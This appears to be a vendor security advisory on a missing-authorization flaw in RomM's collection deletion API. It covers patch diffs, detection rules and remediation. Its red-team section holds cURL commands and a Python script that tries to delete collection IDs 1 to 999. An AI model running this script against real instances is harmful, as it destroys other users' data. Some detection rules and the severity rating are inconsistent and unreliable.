CVE-2025-65097

Executive Summary

CVE-2025-65097 is a critical authorization bypass vulnerability in RomM (ROM Manager), a web-based application for managing and playing game ROM collections. The flaw allows any authenticated user to delete collections belonging to other users by sending a direct DELETE request to the collection endpoint. The application fails to verify ownership before performing the deletion, leading to unauthorized data destruction. This vulnerability affects all versions prior to 4.4.1 and 4.4.1-beta.2. The CVSS score is 6.5 (Medium) due to the requirement for authentication, but the impact on data integrity is high. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and easily reproducible.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required; a simple HTTP request suffices.
• Privileges Required (PR): Low (L) – An attacker must have a valid user account.
• User Interaction (UI): None (N) – No victim interaction is needed.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – Collections can be permanently deleted.
• Availability (A): None (N) – The service remains available.

Threat Level: Medium. While authentication is required, the low complexity and high integrity impact make this a significant risk for multi-user RomM instances.

Deep Dive & Mechanics

The vulnerability resides in the API endpoint responsible for deleting game collections. In affected versions, the backend controller does not validate whether the authenticated user owns the collection being deleted. The endpoint likely accepts a collection ID (e.g., /api/collections/{id}) and processes the DELETE request without checking the user_id associated with that collection.

The attack flow is:

1. An attacker authenticates to the RomM web interface.
2. The attacker obtains or guesses the ID of a collection belonging to another user (e.g., via enumeration or by observing the UI).
3. The attacker sends a DELETE request to /api/collections/{victim_collection_id} with their own session token.
4. The server deletes the collection without verifying ownership.

This is a classic case of Missing Authorization (CWE-862) . The fix in version 4.4.1 adds a check that compares the user_id of the collection with the authenticated user's ID before allowing deletion.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.4.1):

# Example vulnerable endpoint (pseudocode)
@app.route('/api/collections/<int:collection_id>', methods=['DELETE'])
@login_required
def delete_collection(collection_id):
    collection = Collection.query.get(collection_id)
    if collection is None:
        abort(404)
    db.session.delete(collection)
    db.session.commit()
    return jsonify({'message': 'Collection deleted'}), 200

Patched Code (4.4.1+):

# Example patched endpoint (pseudocode)
@app.route('/api/collections/<int:collection_id>', methods=['DELETE'])
@login_required
def delete_collection(collection_id):
    collection = Collection.query.get(collection_id)
    if collection is None:
        abort(404)
    # Ownership check added
    if collection.user_id != current_user.id:
        abort(403)
    db.session.delete(collection)
    db.session.commit()
    return jsonify({'message': 'Collection deleted'}), 200

The key difference is the addition of if collection.user_id != current_user.id: abort(403) before the deletion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on the RomM instance.
• Network access to the RomM API.
• Knowledge of a target collection ID (can be brute-forced or enumerated).

Exploitation Steps:

1. Authenticate and obtain a session cookie or token.
2. Enumerate collection IDs by observing the UI or using a script to iterate through IDs.
3. Send a DELETE request to the vulnerable endpoint.

Example using cURL:

# Authenticate first (example)
curl -c cookies.txt -X POST https://romm-instance/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password"}'

# Delete a victim's collection (replace 123 with target ID)
curl -b cookies.txt -X DELETE https://romm-instance/api/collections/123

Automated Exploit Script (Python):

import requests

target = "https://romm-instance"
session = requests.Session()

# Authenticate
session.post(f"{target}/api/auth/login", json={
    "username": "attacker",
    "password": "password"
})

# Enumerate and delete collections
for collection_id in range(1, 1000):
    r = session.delete(f"{target}/api/collections/{collection_id}")
    if r.status_code == 200:
        print(f"Deleted collection {collection_id}")

Blue Team (Detection & Defense)

Detection:

• Monitor for a high volume of DELETE requests to /api/collections/ from a single user.
• Alert on DELETE requests to collections where the authenticated user is not the owner (requires server-side logging of user_id and collection owner).
• Use Web Application Firewall (WAF) rules to block DELETE requests to collection endpoints from users who have not recently interacted with that collection.

Defense:

• Immediately upgrade to RomM 4.4.1 or later.
• If upgrading is not possible, implement a reverse proxy (e.g., Nginx) to restrict DELETE requests to only trusted IPs or require additional headers.
• Enable detailed audit logging for all DELETE operations on collections.

Indicators of Compromise (IOCs)

• Network: HTTP DELETE requests to /api/collections/{id} with a 200 response for collections the user does not own.
• Logs: Server logs showing DELETE /api/collections/{id} from user A for a collection owned by user B.
• System: Missing collections that were previously present, especially if the owner did not delete them.
• File: No specific file-based IOCs; the attack is purely API-driven.

Detection Engineering

YARA Rule

rule Detect_RomM_Collection_Deletion_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-65097 by monitoring for unauthorized collection deletions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65097"
    strings:
        $delete_method = "DELETE"
        $collection_path = "/api/collections/"
        $success_response = "200"
    condition:
        all of them
}

Sigma Rule

title: Unauthorized RomM Collection Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects DELETE requests to RomM collection endpoints that may indicate exploitation of CVE-2025-65097
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'DELETE'
        cs-uri-stem|startswith: '/api/collections/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate deletion of own collections
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65097 RomM Unauthorized Collection Deletion"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/api/collections/"; http.server_body; content:"200"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to RomM version 4.4.1 or 4.4.1-beta.2 immediately.
2. If upgrade is not possible, disable the DELETE endpoint at the reverse proxy level:

   location ~ ^/api/collections/ {
       limit_except GET POST { deny all; }
   }
   

3. Audit all existing collections for unauthorized deletions and restore from backups if needed.

Long-Term Measures:

• Implement role-based access control (RBAC) for all API endpoints.
• Add ownership verification to all mutating endpoints (PUT, DELETE, PATCH).
• Enable audit logging for all data modification operations.
• Conduct regular security reviews of API authorization logic.

Valters IT – Securing your digital assets with precision and expertise.